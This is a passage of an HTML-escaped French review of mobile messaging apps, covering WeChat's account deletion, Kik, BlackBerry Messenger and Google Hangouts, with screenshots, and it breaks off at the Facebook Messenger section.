+&lt;p&gt;C&amp;ocirc;t&amp;eacute; financement, WeChat ne propose finalement pas grand-chose. Quelques packs de &amp;laquo;&amp;nbsp;stickers&amp;nbsp;&amp;raquo; sont bien en vente pour 89 centimes, mais ils sont en grande majorit&amp;eacute; gratuits et l&amp;rsquo;application ne cherche pas outre mesure &amp;agrave; vendre du contenu.&amp;nbsp;Mais le vrai point noir de l&amp;rsquo;application est qu&amp;rsquo;elle ne propose pas de suppression directe du compte et que la proc&amp;eacute;dure est p&amp;eacute;nible. Il faut en effet effacer toutes ses donn&amp;eacute;es puis se rendre sur le site deletewechat.com et suivre une proc&amp;eacute;dure en anglais. Bien que l&amp;rsquo;&amp;eacute;diteur travaille sur cette fonctionnalit&amp;eacute;, nous pr&amp;eacute;f&amp;eacute;rons mettre en garde pour l&amp;rsquo;instant car il nous semble crucial que l&amp;rsquo;utilisateur puisse choisir avec pr&amp;eacute;cision quand il souhaite supprimer son compte.&lt;/p&gt;&lt;p&gt;&lt;a href="http://kik.com/" target="_blank"&gt;Kik&lt;/a&gt; est une application souvent utilis&amp;eacute;e par les jeunes utilisateurs de smartphones en regard de sa transparence d&amp;rsquo;utilisation et du relatif respect de la vie priv&amp;eacute;e qu&amp;rsquo;il implique. Cette solution de messagerie, assez courante, ne se base en effet pas sur le num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone mais sur une solution simple&amp;nbsp;: le pseudonyme.&lt;/p&gt;
+&lt;h3&gt;Une application particuli&amp;egrave;rement simple &amp;agrave; prendre en main&lt;/h3&gt;
+&lt;p&gt;Ceux qui pr&amp;eacute;f&amp;egrave;rent garder leur num&amp;eacute;ro pour eux pourront donc cr&amp;eacute;er un compte simplement (on s&amp;rsquo;enregistre avec une adresse email, qui devra ensuite &amp;ecirc;tre confirm&amp;eacute;e) qu&amp;rsquo;il suffira de transmettre &amp;agrave; ses amis et contacts. Le gros avantage de Kik est sa simplicit&amp;eacute;&amp;nbsp;: on ne peut pas imaginer une interface plus facile &amp;agrave; prendre en main tant elle va &amp;agrave; l&amp;rsquo;essentiel, sans fioritures et sans d&amp;rsquo;ailleurs renouveler le genre.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img style="text-align: justify;" src="http://static.pcinpact.com/images/bd/news/143003.png" alt="kik" width="140" /&gt;&lt;img style="text-align: justify;" src="http://static.pcinpact.com/images/bd/news/143004.png" alt="kik" width="140" /&gt;&lt;img style="text-align: justify;" src="http://static.pcinpact.com/images/bd/news/143005.png" alt="kik" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143006.png" alt="kik" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Car le but de Kik n&amp;rsquo;est pas d&amp;rsquo;&amp;ecirc;tre exhaustif ou de d&amp;eacute;passer la concurrence sur le plan des fonctionnalit&amp;eacute;s. Ainsi, on ne peut r&amp;eacute;ellement partager que des photos car ni les vid&amp;eacute;os, ni les contacts, ni les notes vocales ne sont pris en charge. Cependant, le menu &amp;laquo;&amp;nbsp;+&amp;nbsp;&amp;raquo; permet d&amp;rsquo;envoyer des vid&amp;eacute;os YouTube, des dessins ou encore des &amp;laquo;&amp;nbsp;memes&amp;nbsp;&amp;raquo;. Bon point, les statuts de distribution et de lecture sont bien g&amp;eacute;r&amp;eacute;s, un point qu&amp;rsquo;on ne retrouve pas partout.&lt;/p&gt;
+&lt;h3&gt;Ne pas embarrasser l'utilisateur avec un trop grand nombre d'options&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;La gestion des conversations et des contacts se veut simplissime, et pour cause&amp;nbsp;: elle est presque simpliste. On peut donc cr&amp;eacute;er des discussions en t&amp;ecirc;te &amp;agrave; t&amp;ecirc;te ou en groupe (dix personnes au maximum), mais la gestion se r&amp;eacute;duit &amp;agrave; sa plus simple expression&amp;nbsp;: discuter. On ne changera donc pas le fond d&amp;rsquo;&amp;eacute;cran, aucune notification personnalis&amp;eacute;e ne pourra &amp;ecirc;tre mise en place et on ne pourra pas non plus consulter la liste compl&amp;egrave;te des fichiers &amp;eacute;chang&amp;eacute;s. On pourra cependant supprimer la conversation ou encore ajouter une ou plusieurs personnes &amp;agrave; une discussion en cours.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142999.png" alt="kik" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142998.png" alt="kik" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143002.png" alt="kik" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143001.png" alt="kik" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les param&amp;egrave;tres sont &amp;eacute;galement peu nombreux&amp;nbsp;: photo de contact, couleur de la bulle de discussion, ajout automatique du contact lors de l&amp;rsquo;envoi du premier message, gestion des notifications, informations du compte et quelques autres r&amp;eacute;glages. Notez que l&amp;rsquo;on peut tout de m&amp;ecirc;me bloquer des contacts (et donc g&amp;eacute;rer la liste de blocage) et scanner son r&amp;eacute;pertoire &amp;agrave; la recherche de personnes ayant Kik puisque le service proc&amp;egrave;de quand m&amp;ecirc;me &amp;agrave; un lien entre le compte et le num&amp;eacute;ro (qui ne peut &amp;ecirc;tre exploit&amp;eacute; que de cette mani&amp;egrave;re, le num&amp;eacute;ro d&amp;rsquo;un contact n&amp;rsquo;apparaissant jamais).&lt;/p&gt;
+&lt;h3&gt;Quel avantage alors ?&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Alors pourquoi utiliser Kik si les autres solutions sont beaucoup plus compl&amp;egrave;tes&amp;nbsp;? Justement pour ce d&amp;eacute;pouillement. Kik Messenger est particuli&amp;egrave;rement rapide et fournit un service suffisant pour beaucoup&amp;nbsp;: la possibilit&amp;eacute; de discuter en groupe, chacun ayant les m&amp;ecirc;mes capacit&amp;eacute;s d&amp;rsquo;envoi que les autres. L&amp;rsquo;application s&amp;rsquo;ouvre vite et rien ne vient entraver la bonne marche des &amp;eacute;changes. En outre, Kik est disponible sur les trois plateformes principales que sont Android, iOS et Windows Phone, ainsi que sur l&amp;rsquo;Ovi Store (Nokia) et les BlackBerry. Pour ces derniers n&amp;eacute;anmoins, pas question encore d&amp;rsquo;une application pour BB10, seulement d&amp;rsquo;une version pour les anciennes moutures du syst&amp;egrave;me, &amp;agrave; installer depuis le site officiel de Kik, et non via le BlackBerry World.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143007.png" alt="kik" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143008.png" alt="kik" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143011.png" alt="kik" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143010.png" alt="kik" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En ce qui concerne la vie priv&amp;eacute;e, il faut savoir qu&amp;rsquo;un contact ne pourra jamais voir autre chose que votre pseudonyme, le pr&amp;eacute;nom et le nom d&amp;eacute;finis dans l&amp;rsquo;application, ainsi que la photo choisie. Les historiques ne sont en outre pas illimit&amp;eacute;s&amp;nbsp;: au-del&amp;agrave; de 1&amp;nbsp;000 messages sur iOS et 600 sur Android, les anciens sont d&amp;eacute;truits. Cette limite n&amp;rsquo;est que de 100 sur les autres plateformes. Il y a d&amp;rsquo;ailleurs une pr&amp;eacute;cision tr&amp;egrave;s importante &amp;agrave; apporter&amp;nbsp;: les historiques ne sont pas sauvegard&amp;eacute;s en ligne, mais uniquement sur le t&amp;eacute;l&amp;eacute;phone. Un tr&amp;egrave;s bon point le respect de la vie priv&amp;eacute;e, mais qui se retournera contre l&amp;rsquo;utilisateur en cas de changement d&amp;rsquo;appareil ou de r&amp;eacute;initialisation.&lt;/p&gt;
+&lt;h3&gt;Pas de suppression directe du compte depuis l'application&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Il est &amp;eacute;galement possible de d&amp;eacute;sactiver compl&amp;egrave;tement un compte Kik, ce qui est &amp;eacute;videmment un bon point. Cependant, cette op&amp;eacute;ration n&amp;rsquo;est pas disponible depuis l&amp;rsquo;application mobile. Il faut se rendre sur un site d&amp;eacute;di&amp;eacute; dans lequel on inscrira l&amp;rsquo;adresse email utilis&amp;eacute;e pour cr&amp;eacute;er le compte. Un courrier de confirmation sera donc envoy&amp;eacute; pour supprimer le compte. Le pseudonyme utilis&amp;eacute; sera alors &amp;agrave; nouveau disponible et les conversations commenc&amp;eacute;es avec d&amp;rsquo;autres contacts seront automatiquement supprim&amp;eacute;es de leurs smartphones.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Aujourd&amp;rsquo;hui, Kik compte 100 millions d&amp;rsquo;utilisateurs actifs. Selon l&amp;rsquo;&amp;eacute;diteur du m&amp;ecirc;me nom, la croissance est d&amp;eacute;sormais d&amp;rsquo;environ 200&amp;nbsp;000 nouveaux inscrits chaque jour (et on parle bien d&amp;rsquo;inscriptions, pas d&amp;rsquo;utilisateurs actifs). Si vous cherchez une solution simple &amp;agrave; mettre en place au sein d&amp;rsquo;un groupe d&amp;rsquo;amis pour des discussions de groupe, cette application vaut le coup d&amp;rsquo;&amp;oelig;il. Si vous &amp;ecirc;tes cependant int&amp;eacute;ress&amp;eacute; par des fonctionnalit&amp;eacute;s plus &amp;eacute;toff&amp;eacute;es, il faudra se tourner vers la concurrence.&lt;/p&gt;&lt;p&gt;&lt;a href="http://fr.blackberry.com/bbm.html" target="_blank"&gt;BlackBerry Messenger&lt;/a&gt;, ou BBM pour les habitu&amp;eacute;s, est un int&amp;eacute;ressant paradoxe&amp;nbsp;: il s&amp;rsquo;agit d&amp;rsquo;une solution nouvelle et ancienne &amp;agrave; la fois. Nouvelle parce qu&amp;rsquo;elle est sortie r&amp;eacute;cemment sur Android et iOS, ancienne parce qu&amp;rsquo;elle existe en fait depuis des ann&amp;eacute;es, mais elle &amp;eacute;tait r&amp;eacute;serv&amp;eacute;e jusqu&amp;rsquo;ici aux smartphones BlackBerry. L&amp;rsquo;ouverture aux plateformes concurrentes change la donne pour le service, mais le petit BBM d&amp;eacute;barque dans un march&amp;eacute; fortement concurrentiel qui ne l&amp;rsquo;a pas attendu pour s&amp;rsquo;am&amp;eacute;liorer.&lt;/p&gt;
+&lt;h3&gt;Un maniement particulier&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;BlackBerry Messenger est donc disponible depuis plusieurs semaines sur Android et iOS, ce qui en fait un nouveau concurrent dans le monde des messageries. Bien que nombre de ses fonctionnalit&amp;eacute;s soient en phase avec ce qui se fait ailleurs, BlackBerry a choisi de laisser en place l&amp;rsquo;ergonomie d&amp;rsquo;origine de son application. De fait, elle n&amp;rsquo;est pas forc&amp;eacute;ment simple &amp;agrave; prendre en main les premiers temps, car elle ne r&amp;eacute;pond pas aux canons des interfaces sous Android et iOS.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142981.jpeg" alt="bbm" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142980.jpeg" alt="bbm" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142979.png" alt="bbm" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142978.png" alt="bbm" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Contrairement &amp;agrave; nombre de concurrents, BBM ne se base pas sur le num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone en tant qu&amp;rsquo;identifiant. Il faut cr&amp;eacute;er un compte et obtenir ainsi une s&amp;eacute;quence de huit caract&amp;egrave;res contenant des chiffres et des lettres. Cet &amp;laquo;&amp;nbsp;ID&amp;nbsp;&amp;raquo; peut ensuite &amp;ecirc;tre donn&amp;eacute; &amp;agrave; ses contacts, m&amp;ecirc;me si BlackBerry fournit &amp;eacute;galement un QR Code que l&amp;rsquo;on pourra par exemple publier sur Facebook ou une carte de visite, pour qu&amp;rsquo;il soit scann&amp;eacute; par d&amp;rsquo;autres. Il s&amp;rsquo;agit globalement d&amp;rsquo;un syst&amp;egrave;me particulier qui ne simplifie pas vraiment l&amp;rsquo;&amp;eacute;change de contacts BBM, un point qui m&amp;eacute;riterait d&amp;rsquo;&amp;ecirc;tre retravaill&amp;eacute; selon nous.&amp;nbsp;Nous soulignerons ici toutefois que l&amp;rsquo;identification ne d&amp;eacute;pend pas du num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone, ce que certains appr&amp;eacute;cieront. Pour autant, l'ID doit &amp;ecirc;tre rattach&amp;eacute; &amp;agrave; un appareil en particulier.&lt;/p&gt;
+&lt;h3&gt;Les clients Android et iOS limit&amp;eacute;s face &amp;agrave; la version pour BlackBerry&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;BBM est sur le papier une solution multiplateforme int&amp;eacute;ressante. L&amp;rsquo;application g&amp;egrave;re parfaitement les discussions en t&amp;ecirc;te &amp;agrave; t&amp;ecirc;te ou en groupe et elle fut d&amp;rsquo;ailleurs la premi&amp;egrave;re &amp;agrave; introduire les statuts de livraison et de lecture des messages. Concernant les discussions de groupe, il est possible d&amp;rsquo;activer une option permettant de bloquer l&amp;rsquo;ajout de toute nouvelle personne tant que les autres membres du groupe n&amp;rsquo;ont pas approuv&amp;eacute; cette &amp;laquo;&amp;nbsp;candidature&amp;nbsp;&amp;raquo;. Pratique pour ne prendre personne au d&amp;eacute;pourvu.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/140392.png" alt="bbm" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/140394.png" alt="bbm" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/140395.png" alt="bbm" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/140396.png" alt="bbm" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Puisque BBM commence surtout &amp;agrave; &amp;ecirc;tre connu depuis son arriv&amp;eacute;e sur Android et iOS, ce qui lui ouvre les portes d&amp;rsquo;un nombre monumental d&amp;rsquo;appareils mobiles, nous nous sommes surtout int&amp;eacute;ress&amp;eacute;s &amp;agrave; ce portage en particulier. Or, elle comporte bien moins de fonctionnalit&amp;eacute;s que la mouture pour les smartphones BlackBerry. Exemple simple&amp;nbsp;: les &amp;eacute;changes de donn&amp;eacute;es entre contacts se limitent aux photos et aux notes vocales. Pas de position g&amp;eacute;ographique, pas de vid&amp;eacute;o et pas de contact, alors que la version BlackBerry 10 g&amp;egrave;re tout cela.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour autant, le potentiel de l&amp;rsquo;application est important, surtout pour son aspect organisationnel. BBM se diff&amp;eacute;rencie en effet des autres clients de messagerie par ses capacit&amp;eacute;s de gestion de groupe, en mettant en place des outils tels que la cr&amp;eacute;ation d&amp;rsquo;&amp;eacute;v&amp;egrave;nements et la gestion de listes de t&amp;acirc;ches. L&amp;agrave; o&amp;ugrave; BlackBerry marque d&amp;rsquo;ailleurs des points, c&amp;rsquo;est sur la possibilit&amp;eacute; de faire participer des personnes qui n&amp;rsquo;ont m&amp;ecirc;me pas Messenger. Un tr&amp;egrave;s bon point.&lt;/p&gt;
+&lt;h3&gt;Une interface qui gagnerait &amp;agrave; &amp;ecirc;tre modernis&amp;eacute;e&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Il n&amp;rsquo;est par contre malheureusement pas question d&amp;rsquo;aller au-del&amp;agrave; des fonctionnalit&amp;eacute;s de messagerie habituelles. Ainsi, les versions pour Android et iOS ne sont pas capables de passer des appels audio ou vid&amp;eacute;o. M&amp;ecirc;me si ces fonctionnalit&amp;eacute;s sont en pr&amp;eacute;paration, on ne peut s&amp;rsquo;emp&amp;ecirc;cher de penser que BlackBerry manquait de temps pour lancer ce premier jet. Un sentiment qui s&amp;rsquo;accroit &amp;agrave; l&amp;rsquo;utilisation de l&amp;rsquo;application, tant l&amp;rsquo;ergonomie se r&amp;eacute;v&amp;egrave;le particuli&amp;egrave;re.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/140403.png" alt="bbm" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/140401.png" alt="bbm" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/140402.png" alt="bbm" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Que ce soit sous Android ou iOS, BlackBerry Messenger n&amp;rsquo;a en effet pas &amp;eacute;t&amp;eacute; adapt&amp;eacute; aux standards d&amp;rsquo;interface en place. L&amp;rsquo;ergonomie globale est &amp;eacute;trange et les r&amp;eacute;glages sont diss&amp;eacute;min&amp;eacute;s dans plusieurs zones, class&amp;eacute;s de mani&amp;egrave;re assez illogique.&amp;nbsp;Par exemple, le m&amp;ecirc;me menu va regrouper les invitations de contact, le partage du code PIN, la cr&amp;eacute;ation d&amp;rsquo;une cat&amp;eacute;gorie de contact, l&amp;rsquo;acc&amp;egrave;s aux param&amp;egrave;tres ou encore l&amp;rsquo;aide. Depuis une conversation, ce menu (l&amp;rsquo;ic&amp;ocirc;ne avec trois points) est toutefois plus logique et ne propose que des fonctions en rapport avec la conversation.&lt;/p&gt;
+&lt;h3&gt;De fortes &amp;eacute;volutions attendues cette ann&amp;eacute;e&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;D&amp;rsquo;autres aspects de l&amp;rsquo;interface ne sont &amp;eacute;galement pas sp&amp;eacute;cialement pratiques. Par exemple, chercher les contr&amp;ocirc;les du profil pour changer son pseudo ou sa photo ne trouvera aucune r&amp;eacute;ponse dans les param&amp;egrave;tres. Il faut penser &amp;agrave; aller appuyer sur la petite photo en haut &amp;agrave; gauche. Autre &amp;eacute;l&amp;eacute;ment qui demandera du travail&amp;nbsp;: la consultation de certains aspects du compte ouvre une page web plut&amp;ocirc;t qu&amp;rsquo;un panneau de l&amp;rsquo;application, obligeant l&amp;rsquo;utilisateur &amp;agrave; redonner une fois encore ses identifiants. BBM est en fait alourdi dans son exp&amp;eacute;rience utilisateur par nombre de petites choses qui g&amp;acirc;chent un peu l&amp;rsquo;ensemble, d&amp;rsquo;autant que l&amp;rsquo;interface appara&amp;icirc;t rapidement comme vieillotte. En outre, si l'on peut supprimer le compte BlackBerry, on ne pourra malheureusement le faire directement depuis l'application, et il faudra se connecter &amp;agrave; la page web de son compte.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Au final, BlackBerry Messenger a les moyens de devenir un outil tr&amp;egrave;s puissant mais devra b&amp;eacute;n&amp;eacute;ficier d&amp;rsquo;un certain nombre de mises &amp;agrave; jour pour le mettre &amp;agrave; niveau sur deux aspects en particulier&amp;nbsp;: l&amp;rsquo;ergonomie g&amp;eacute;n&amp;eacute;rale et des fonctionnalit&amp;eacute;s capables de faire r&amp;eacute;ellement la diff&amp;eacute;rence face &amp;agrave; la concurrence. En outre, BBM ne dispose pas d&amp;rsquo;un client pour PC ou Mac et ne permet pas d&amp;rsquo;utiliser le compte sur un autre appareil mobile. Si vous poss&amp;eacute;dez par exemple un iPhone et une tablette Android, vous ne pourrez donc pas synchroniser vos messageries car chaque appareil doit avoir son propre compte, un point particuli&amp;egrave;rement regrettable.&lt;/p&gt;&lt;p&gt;L&amp;rsquo;application &lt;a href="http://www.google.com/intl/fr_CA/+/learnmore/hangouts/" target="_blank"&gt;Hangouts &lt;/a&gt;est propos&amp;eacute;e par Google et est &amp;eacute;videmment connect&amp;eacute;e &amp;agrave; nombre de ses services. Pour ceux qui n&amp;rsquo;auraient pas suivi l&amp;rsquo;&amp;eacute;volution de la firme, il s&amp;rsquo;agit ni plus ni moins que du rempla&amp;ccedil;ant de l&amp;rsquo;anc&amp;ecirc;tre GTalk. On le retrouve donc dans les services principaux de Google, notamment Google+, avec lequel il peut partager de nombreuses fonctionnalit&amp;eacute;s, Gmail et m&amp;ecirc;me Chrome &lt;a href="https://chrome.google.com/webstore/detail/hangouts/nckgahadagoaajjgafhacjanaoiihapd" target="_blank"&gt;via une extension plut&amp;ocirc;t pratique&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que depuis Android 4.4, c'est aussi l'application par d&amp;eacute;faut pour la gestion des SMS et MMS. Les conversations seront par contre s&amp;eacute;par&amp;eacute;es contrairement &amp;agrave; iMessage, et distingu&amp;eacute;es par un petit logo.&lt;/p&gt;
+&lt;h3&gt;Une solution tr&amp;egrave;s simple, parfois m&amp;ecirc;me simpliste&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Hangouts est une application de messagerie qui propose tout simplement de continuer sur un smartphone ou une tablette des conversations commenc&amp;eacute;es dans un navigateur web, via l&amp;rsquo;un des services de Google. Si vous poss&amp;eacute;dez un compte Gmail, vous pouvez utiliser cette application qui synchronisera automatiquement toutes les conversations d&amp;eacute;j&amp;agrave; commenc&amp;eacute;es. Il s&amp;rsquo;agit d&amp;rsquo;un avantage de taille par rapport &amp;agrave; des solutions telles que WhatsApp, Viber ou encore Line&amp;nbsp;: puisque le compte Google sert d&amp;rsquo;identifiant unique, il n&amp;rsquo;y a pas d&amp;rsquo;affiliation au num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone et on peut donc avoir Hangouts sur autant d&amp;rsquo;appareils qu&amp;rsquo;on le souhaite.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142950.png" alt="hangouts" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142952.png" alt="hangouts" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142953.png" alt="hangouts" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142955.png" alt="hangouts" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Hangouts poss&amp;egrave;de des forces et faiblesses bien marqu&amp;eacute;es. Du c&amp;ocirc;t&amp;eacute; des premi&amp;egrave;res, l&amp;rsquo;utilisation transparente sur un grand nombre de supports est clairement un avantage de taille. Mais attention, tous les appareils mobiles ne sont pas concern&amp;eacute;s car seuls Android (&amp;eacute;videmment) et iOS sont de la partie. Google s'obstine &amp;agrave; ne rien publier sur Windows Phone et BlackBerry ne jouit pas vraiment d&amp;rsquo;une meilleure position. Notez que dans ce dernier cas, l'application Gtalk toujours pr&amp;eacute;sente dans Blackberry World est toujours fonctionnelle... pour l'instant.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Simplicit&amp;eacute; est ici le ma&amp;icirc;tre mot, qu&amp;rsquo;il s&amp;rsquo;agisse d&amp;rsquo;&amp;eacute;changer du texte, de la voix ou de la vid&amp;eacute;o&amp;nbsp;: tout est fait pour aller le plus directement possible &amp;agrave; ces fonctionnalit&amp;eacute;s de base. Cependant, cette simplicit&amp;eacute; rend parfois l&amp;rsquo;application simpliste justement. C&amp;rsquo;est particuli&amp;egrave;rement le cas au niveau des textes et des conversations de groupe car les options y seront beaucoup moins nombreuses que dans WhatsApp ou Line.&lt;/p&gt;
+&lt;h3&gt;Une partie texte assez faible&lt;/h3&gt;
+&lt;p&gt;On peut donc cr&amp;eacute;er des conversations en t&amp;ecirc;te &amp;agrave; t&amp;ecirc;te ou de groupe mais ces discussions ne seront gu&amp;egrave;re enrichies d&amp;rsquo;autre chose que de photos ou votre position g&amp;eacute;ographique si vous le demandez. Pas question en effet d&amp;rsquo;envoyer des vid&amp;eacute;os, des notes vocales ou encore des contacts. C&amp;ocirc;t&amp;eacute; gestion des conversations, Hangouts ne propose pas non plus un luxe de param&amp;egrave;tres. On pourra donc ajouter un ou plusieurs participants, d&amp;eacute;sactiver les notifications et l&amp;rsquo;historique ainsi que bloquer le contact, mais sans plus.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142954.png" alt="hangouts" height="213" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142957.png" alt="hangouts" height="213" /&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142949.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142949.png" alt="hangouts" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il n&amp;rsquo;est pas question non plus de sortir r&amp;eacute;ellement des sentiers battus&amp;nbsp;: vous &amp;ecirc;tes l&amp;agrave; pour communiquer et les possibilit&amp;eacute;s suppl&amp;eacute;mentaires ne sont pas l&amp;eacute;gion. Ainsi, il existe bien un lien &amp;eacute;vident avec Google+ mais il sera essentiellement exploitable dans un navigateur depuis un ordinateur. Par exemple, les photos &amp;eacute;chang&amp;eacute;es avec un contact cr&amp;eacute;ent automatiquement un album priv&amp;eacute; sur Google+, ce qui permet de retrouver une image envoy&amp;eacute;e plus t&amp;ocirc;t facilement. Cependant, on aurait aim&amp;eacute; que ces possibilit&amp;eacute;s soient offertes au sein de l&amp;rsquo;application.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La situation est l&amp;eacute;g&amp;egrave;rement diff&amp;eacute;rente sur la version Android, bien que ce soit le syst&amp;egrave;me lui-m&amp;ecirc;me qui propose les options et non l&amp;rsquo;application. Par exemple, si vous avez install&amp;eacute; Dropbox ou SkyDrive, vous pourrez aller y chercher directement des photos pour les envoyer &amp;agrave; vos contacts.&lt;/p&gt;
+&lt;h3&gt;Des conf&amp;eacute;rences audio et vid&amp;eacute;o jusqu'&amp;agrave; 10 personnes : un v&amp;eacute;ritable argument&lt;/h3&gt;
+&lt;p&gt;Mais la plus grande force des Hangouts, c&amp;rsquo;est la possibilit&amp;eacute; d&amp;rsquo;y placer des appels audio et vid&amp;eacute;o entre utilisateurs. Sur ce terrain, la solution de Google est tout simplement bien meilleure que Skype, notamment gr&amp;acirc;ce &amp;agrave; sa simplicit&amp;eacute;. Il n&amp;rsquo;est pas question ici de limiter quoi que ce soit &amp;agrave; un &amp;eacute;ventuel compte premium&amp;nbsp;: tous les utilisateurs peuvent cr&amp;eacute;er une conf&amp;eacute;rence vid&amp;eacute;o contenant jusqu&amp;rsquo;&amp;agrave; dix participants, l&amp;agrave; o&amp;ugrave; Skype reste bloqu&amp;eacute; &amp;agrave; deux. En outre, il est possible de rejoindre une conf&amp;eacute;rence d&amp;eacute;j&amp;agrave; en cours, y compris via son smartphone ou sa tablette, un excellent point.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142958.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142958.jpeg" alt="hangouts" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Que l'on appelle depuis un ordinateur, un smartphone ou une tablette, les capacit&amp;eacute;s sont &amp;agrave; peu pr&amp;egrave;s les m&amp;ecirc;mes. On retrouve ainsi dans tous les cas une fonctionnalit&amp;eacute; automatique : m&amp;ecirc;me si les portraits des participants sont affich&amp;eacute;s, la vid&amp;eacute;o bascule toujours sur la personne en train de parler. Notez que l'on peut court-circuiter cela en s&amp;eacute;lectionnant un portrait en particulier.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; confidentialit&amp;eacute;, les choses sont plus complexes, comme dans le cas de Facebook. Hangouts est simplement une extension d&amp;rsquo;un compte aux capacit&amp;eacute;s tr&amp;egrave;s larges. Si vous ne souhaitez plus utiliser cette messagerie, il suffira de d&amp;eacute;sinstaller l&amp;rsquo;application puis d&amp;rsquo;aller dans Gmail ou Google+ pour indiquer que l&amp;rsquo;on ne veut plus &amp;ecirc;tre contact&amp;eacute; par ce biais. La suppression du compte Google ne peut, elle, se faire qu&amp;rsquo;en ligne dans les param&amp;egrave;tres, rubrique &amp;laquo;&amp;nbsp;Outil de gestion des donn&amp;eacute;es&amp;nbsp;&amp;raquo;. Cette section peut d&amp;rsquo;ailleurs servir &amp;agrave; supprimer la partie Google+ sans rien toucher du compte Google lui-m&amp;ecirc;me.&lt;/p&gt;&lt;p&gt;M&amp;ecirc;me s&amp;rsquo;il ne peut pas &amp;ecirc;tre directement compar&amp;eacute; &amp;agrave; des solutions de type WhatsApp, Viber ou Line, &lt;a href="https://www.facebook.com/about/messenger" target="_blank"&gt;Facebook Messenger&lt;/a&gt; a sa place dans ce 